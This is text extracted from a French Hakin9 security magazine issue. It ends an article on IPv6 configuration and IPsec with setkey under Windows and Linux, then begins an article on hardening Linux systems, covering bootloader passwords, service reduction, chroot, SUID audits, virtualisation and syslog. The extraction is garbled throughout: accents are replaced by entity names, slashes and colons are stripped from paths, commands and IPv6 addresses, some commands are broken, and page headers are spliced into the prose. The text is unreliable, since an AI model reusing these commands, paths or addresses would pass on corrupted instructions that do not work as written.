La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 4: hakin9_05_2010_FR

52010

dossier

Dans le preacutesent article il y aura question de regravegles de seacutecurisation sous Linux Nous allons aborder la probleacutematique de seacutecu-

risation des services reacuteseaux en passant par les sauvegardes et la virtualisation Commenccedilons par quelques regravegles de base Afin dobtenir un bon ni-veau de seacutecuriteacute sur un systegraveme dexploitation il est tregraves important que certaines regravegles de base soient respecteacutees

bull Mes mots de passe doivent toujours ecirctre forts deacute-dieacutes au systegraveme et ecirctre changeacutes reacuteguliegraverement

bull Je ninstalle que les composants valideacutes essentiels au bon fonctionnement du systegraveme

bull Je seacutecurise les applications que jinstallebull Je mets agrave jour mon systegraveme et mes applications reacute-

guliegraverementbull Jutilise un pare-feu configureacute en se limitant aux flux

utilesbull Jinstalle un antivirus que je mets reacuteguliegraverement agrave

jour

La seacutequence de deacutemarrage appeleacutee vulgairement seacute-quence de BOOT est composeacutee en plusieurs eacutetapes

bull Le deacutemarrage via le BIOS (Chargement primaire) Le Basic Input Output System (systegraveme eacuteleacutementai-re dentreacuteesortie) est un micro-logiciel qui permet

de geacuterer la seacutequence de deacutemarrage de la machine (entre autre)

bull Le chargeur damorccedilage (Boot loader) (Charge-ment secondaire) Il permet de seacutelectionner le sys-tegraveme dexploitation sur lequel nous voulons deacutemar-rer

bull Le systegraveme dexploitation

seacutecurisation du BiosLe BIOS fait partie de ces parties obscures de lin-formatique que le simple utilisateur ne seacutecurise pas pourtant la mise en place dune couche seacutecuriteacute est assez simple agrave mettre en œuvre Dans un premier temps il faut limiter la seacutequence de deacutemarrage au dis-que dur maicirctre seul Si un autre peacuteripheacuterique tel que lUSB ou un lecteur optique est activeacute il sera possible de deacutemarrer avec une distribution live sur la machine dacceacuteder et modifier ses donneacutees Puis dactiver un mot de passe pour modifier la configuration du BIOS Nous permettant ainsi de proteacuteger la seacutecurisation preacute-ceacutedemment mise en place Il est aussi possible dacti-ver sur certaines cartes megraveres un mot de passe avant le chargeur damorccedilage Enfin la mise en place dun cadenas sur le boicirctier de la machine (ce nest actuelle-ment pas possible sur les portables) afin deacuteviter quun petit malin neffectue un CLEAR CMOS (reacuteinitialisation de la configuration du BIOS) via les connecteurs preacute-vus agrave cet effet sur la carte megravere

regravegles de seacutecurisation sous Linux

Cet article aborde la probleacutematique de seacutecurisation des services reacuteseaux en passant par les sauvegardes et virtualisation Il y aura question de regravegles de seacutecurisation a mettre en place afin drsquoobtenir un niveau de seacutecuriteacute convenable

Cet article expliquebull Comment seacutecuriser la seacutequence de deacutemarragebull La pobleacutematique de seacutecurisation des services reacuteseauxbull Quelles sont les possibiliteacutes avec la gestion des droits sur les fi-

chiers sous Linuxbull Des points importants sur la virtualisationbull Pourquoi utiliser la journalisation et les sauvegardes

Ce quil faut savoirbull Des connaissances en administration Linux

Nicolas Hanteville

regravegles de seacutecurisation

hakin9orgfr

password=M0n_Super_M0t_De_Pa$$e

restricted

delay=5

Pour appliquer un mot de passe sur une image preacutecise

image=bootImage

read-only

password=M0n_Beau_M0t_De_Pa$$e

restricted

Il faut ensuite appliquer les modifications

sbinlilo -v

Une autre solution compleacutementaire (fonctionne sous UBUNTU) permet de speacutecifier les peacuteripheacuteriques tty (terminaux) ou root peut se connecter Par exemple dans le fichier etcsecuretty en mettant en commen-taire toutes les lignes mise agrave part tty1 si vous utilisez udev ou vc1 pour devfs

Limiter le nombre de services au deacutemarrage Les problegravemes de seacutecurisation des machines provien-nent aussi du nombre de programmes exeacutecuteacutes au deacutemarrage du systegraveme dexploitation qui pour un bon nombre ne servent pas

Plusieurs outils permettent de le faire graphique-ment de maniegravere native sous Ubuntu dans le menu Systegraveme-gtAdministration-gtServices il est possible en simplement deacutecochant des cases de deacutesactiver des services Il existe aussi sysv-rc-conf ou boot-up mana-ger ce sont des outils suppleacutementaires que je cite pour exemple mais je conseille la meacutethode manuelle (voir commandes agrave la fin du chapitre)

On ne deacutesactive pas nimporte quoi sous peine de rendre le systegraveme instable au prochain deacutemarrage

Quels services deacutesactiver La reacuteponse est agrave la fois simple on supprime les ser-vices inutiles et agrave la fois compliqueacutee quels services sont utiles

Voici un exemple de services inutiles (les plus geacuteneacute-raux)

bull apache si vous navez pas vocation agrave transformer votre machine en serveur Web il vaut mieux le deacute-sinstaller

Bien sucircr la solution la plus facile pour acceacuteder aux donneacutees dune machine locale eacutetant la reacutecupeacuteration du support de stockage tregraves facile agrave enlever sur la majoriteacute des ordinateurs portables

La meilleure solution actuelle pour limiter laccegraves aux donneacutees confidentialiteacute eacutetant le chiffrement de disque dur entier ou bien par container

Une solution libre de chiffrement par container TrueCrypt httpwwwtruecryptorg

seacutecurisation du chargeur damorccedilageLes plus connus eacutetant GRUB (GRand Unified Bootloa-der) et LILO (LInux LOader) les chargeurs damorccedilage permettent de seacutelectionner le systegraveme dexploitation sur lequel deacutemarrer mais aussi de deacutemarrer en mode single user (eacutedition interactive) qui permet de deacutemarrer loca-lement avec des droits root sans aucun mot de passe par deacutefaut

Pour le seacutecuriser plusieurs options sont possibles

bull deacutefinir un mot de passe pour deacutemarrer le systegraveme dexploitation

bull ou supprimer ce mode

sous GrUBPour deacutefinir un mot de passe il faut dans un premier temps chiffrer le mot de passe en MD5 il est possible dutiliser le shell grub avec la commande md5crypt (voir Figure 1)

Puis dajouter dans le fichier de configuration bootgrubmenulst apregraves la ligne time-out la ligne suivante password --md5 Mon_Mot_De_Passe

La commande --md5 signifie que le mot de passe nest pas en clair

Apregraves cette manipulation on peut maintenant speacutecifier les entreacutees qui requiegraverent un mot de passe pour ce faire il faut ajouter apregraves la ligne title dune entreacutee la com-mande lock (les lignes sont tronqueacutes volontairement)

title Debian GNULinux (recovery mode) lock

kernel bootvmlinuz ro single

initrd bootinitrdimg

Pour supprimer le mode single user ce mode est ap-peleacute single sous GRUB il suffit donc de supprimer les entreacutees correspondantes (ci dessus) Quand vous sup-primez une entreacutee dans le fichier de configuration cela peut alteacuterer la seacutelection du systegraveme dexploitation par deacutefaut (penser agrave modifier la valeur default du deacutebut

sous LiLoLa deacutefinition du mot de passe peut ecirctre globale ou par entreacutee malheureusement le mot de passe reacuteside en clair dans le fichier Pour appliquer un mot de passe global on ajoute au deacutebut du fichier etcliloconf ou etcmenulst comme suit Figure 1 Exemple dutilisation de md5crypt

52010

dossier

bull at planificateur deacutevegravenements si aucun autre pro-gramme ne lutilise (exeacutecution peacuteriodique) vous pou-vez le deacutesactiver attention toutefois il est tregraves sou-vent utiliseacute

bull PCMCIA si vous necirctes pas sur une machine pos-seacutedant ce port il ne sert agrave rien

bull bluetooth si vous navez pas de connectique Blue-tooth il ne sert agrave rien

bull cups si vous nutilisez pas dimprimante (il est parfois utiliseacute avec certains programmes dimpression PDF)

bull FTP serveur de fichierbull ssh si vous neffectuez pas dadministration distan-

te sur votre machine supprimez-le

Cette liste nest pas exhaustive il existe beaucoup trop de programmes pour tous les lister ici Le fait de deacute-sactiver un service diminue limpact quil aura sur la seacutecuriteacute de la machine et diminue aussi la meacutemoire et le temps processeur utiliseacutes cest donc tregraves beacuteneacutefique

Pour lister les services et leurs niveaux dexeacutecution

sbinchkconfig --list

- Pour lister les services reacuteseaux en eacutecoute

lsof -i -n | egrep COMMAND|LISTEN

- Arrecircter un service

etcrcdinitd[nom du service] stop

- Exeacutecuter un service

etcrcdinitd[nom du service] start

- Ajouter un service du deacutemarrage

update-rcd [nom du service] defaults

- Supprimer un service du deacutemarrage

update-rcd [nom du service] remove

Il est aussi possible deffectuer une exeacutecution de comman-de automatique lors de la connexion de lutilisateur notam-ment avec le fichier home[Nom de lutilisateur]bashrc

seacutecurisation des servicesLes nouveaux modegraveles de communication font que lintrusion dans les systegravemes dinformation la plus

significative provient de la seacutecurisation des services reacuteseau et plus preacuteciseacutement des applications Web il est donc tregraves important de seacutecuriser ces services Nous ne parlerons pas ici de la seacutecurisation par filtrage qui sera traiteacutee dans un autre article

ChrootCest une commande qui permet de modifier la racine de lapplication afin de cloisonner le service agrave son pro-pre environnement (voir Figure 2) Elle peut ecirctre utiliseacutee dans deux cas

bull Pour changer denvironnement (basculer vers un autre systegraveme) par exemple utiliser un environne-ment 32bits sur un systegraveme 64bits

bull Pour cloisonner un programmeutilisateur et lempecirc-cher de remonter dans larborescence

Concregravetement mon application Apache est vulneacutera-ble agrave une faille qui permet dacceacuteder agrave un shell distant Dans le premier cas (sans chroot) lattaquant reacutecupegrave-re la main sur mon systegravemeDans le second cas (avec chroot) lattaquant na accegraves quau reacutepertoire de lap-plication il ne peut pas remonter dans larborescence seule mon application est compromise Bien entendu cela nest quun exemple (des manipulations existent pour passer outre cette seacutecuriteacute) mais dans le cas de services mutualiseacutes on eacutevite ainsi de perdre tous les services seul le service incrimineacute est compromis

Nous nexpliquerons pas la proceacutedure de chroot dun service ici de tregraves bons articles et sites web en parlent notamment sur le site httplea-linuxorg sachez tout de mecircme que certaines applications requiegraverent decirctre recompileacutees pour fonctionner dans cet environnement restreint

Les modules et fonctionnaliteacutesPlus un systegraveme est complexe moins il est facile de le seacutecuriseacute il est donc primordial de limiter au maximum les fonctionnaliteacutes agrave notre strict besoin

Les fichiers par deacutefaut de deacuteveloppement (exemple la page phpinfophp pour PHP) sont souvent oublieacutes De nombreux automates (scanner de vulneacuterabiliteacute exemple Nessus) permettent de veacuterifier les configura-tions par deacutefaut Ils peuvent apporter des informations agrave un eacuteventuel assaillant il est donc primordial deffacer ces composants

De nombreux programmes (TOMCAT PHP ) utilisent des modules pour lajout de fonctionnaliteacute ces modules

Figure 2 Changement de racine

etcapacvhe

Figure 3 Droit SUID

hakin9orgfr 9

sont bien souvent installeacutes par deacutefaut et oublieacutes or dans le cas dapplications WEB ces oublis permettent bien souvent dutiliser des exploits la suppression de ces modules permet de corriger ce problegraveme (en les deacutesinstallant ou la plupart du temps en commentant les lignes dans les fichiers de configuration)

Versions et mise agrave jourLa premiegravere chose que va chercher agrave obtenir un eacuteventuel attaquant sur un systegraveme reacuteseau est la version drsquoappli-cation ou du systegraveme afin de le comparer avec des listes de vulneacuterabiliteacutes existantes Hors dans de nombreux cas ces versions sont facilement identifiables

Exemple sur un serveur FTP lors de la connexion celui-ci va nous indiquer sa version de systegraveme dex-ploitation son nom de logiciel et sa version

Les solutions ne sont pas toujours tregraves simples mais existent

bull la suppression des banniegraveres de connexion ou au moins les rendre anonymes au maximum (requiert parfois une recompilation du binaire)

bull la mise agrave jour constante des applications et des systegravemes (malheureusement les failles 0 days existent)

bull le changement des mots de passe par deacutefaut

Une autre probleacutematique agrave laquelle on ne songe pas toujours lors de la mise agrave jour dun systegraveme il arri-ve bien souvent que le correctif de seacutecuriteacute modifie la configuration de lapplication (par exemple sur Ora-cle lrsquoapplication de certains correctifs reacuteinitialise les paramegravetres de seacutecuriteacute)

Apregraves lapplication dun correctif il est primordial de veacuterifier la configuration de seacutecuriteacute dune application

droits et fichiersDepuis toujours ladministration essaie de prendre en compte les notions de seacutecuriteacute mais oublie bien souvent la gestion des droits sur les fichiers Sous les systegravemes Linux il existe les droits standards (lectureeacutecritureexeacute-cution avec la gestion utilisateurgroupeautre) et les droits eacutetendus (Suid Sticky Bit ACL)

Eacutenumeacuterer les fichiers et reacutepertoires avec des droits en eacutecriture pour tous

fi nd type d -perm -2 -exec ls -lcd

Pour un systegraveme multi-utilisateurs avec des partages de fichiers le systegraveme de droits standard nest pas suf-fisant Pour ce faire il existe les ACL (commandes getfacl et setfacl) qui permettent une gestion de droits plus fine sur les fichiers

Dans la majoriteacute des cas un administrateur ne pen-sera pas agrave faire un getfacl sur un fichier il fera un simple ls -al et passera donc devant des droits peut ecirctre trop

9

5201010

dossier

permissifs crsquoest pour cela quil est recommandeacute dutili-ser au strict besoin ce genre de droits

Les droits setuid et setgid (repreacutesenteacutes par un s) permettent agrave un programme de sexeacutecuter avec les droits de son proprieacutetaire par exemple la commande passwd permet agrave un simple utilisateur de modifier son mot de passe (par deacutefaut) dans le fichier etcpasswd ou etcshadow (voir Figure 3)

Ces droits sont agrave lorigine dun tregraves grand nombre de failles de seacutecuriteacute locales qui permettent leacuteleacutevation de privilegraveges sous Linux (passer dun simple utilisateur agrave root) il est donc fortement recommandeacute de lutiliser au strict minimum

Liste des fichiers ougrave les droits SUID et SGUID sont positionneacutes

find ( -perm -4000 -o -perm -2000 ) -exec -l -lc

Le sticky bit (bit de collage) est un droit compleacutemen-taire positionneacute sur un fichier il permet de garder le fi-chier en meacutemoire si par contre il est positionneacute sur un reacutepertoire (exemple tmp) les fichiers creacuteeacutes dans ce reacutepertoire ne pourront ecirctre supprimeacutes que par le pro-prieacutetaire du fichier

Drsquoautres attributs de fichiers (positionneacutes avec la commandes chattr et visibles avec lsattr) peuvent ecirctre appliqueacutes

bull a on peut seulement ajouter des donneacutees au fi-chier

bull c compresseacute automatiquementbull i ne peut ecirctre modifieacute (ni supprimeacute ni renommeacute)bull s remplacement de tous les blocs du fichier lors

de la suppression par des 0bull u sauvegarde du fichier en cas de suppression

Exemple drsquoutilisation

bull chattr +i mon _ fichier ajoute lattributbull chattr -i mon _ fichier supprime lattributbull chattr =i mon _ fichier ne laisse que lattribut

La virtualisationLa reacutepartition de charge par virtualisation est de plus en plus utiliseacutee elle permet sur un serveur suffisamment puissant deacutemuler plusieurs serveurs (par exemple dobtenir sur une mecircme machine plusieurs controcircleurs de domaine) Ces architectures sont assez reacutecentes et geacuteneacuteralement mal maicirctriseacutees par les administrateurs (voir Figure 4)

Figure 4 Virtualisation

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

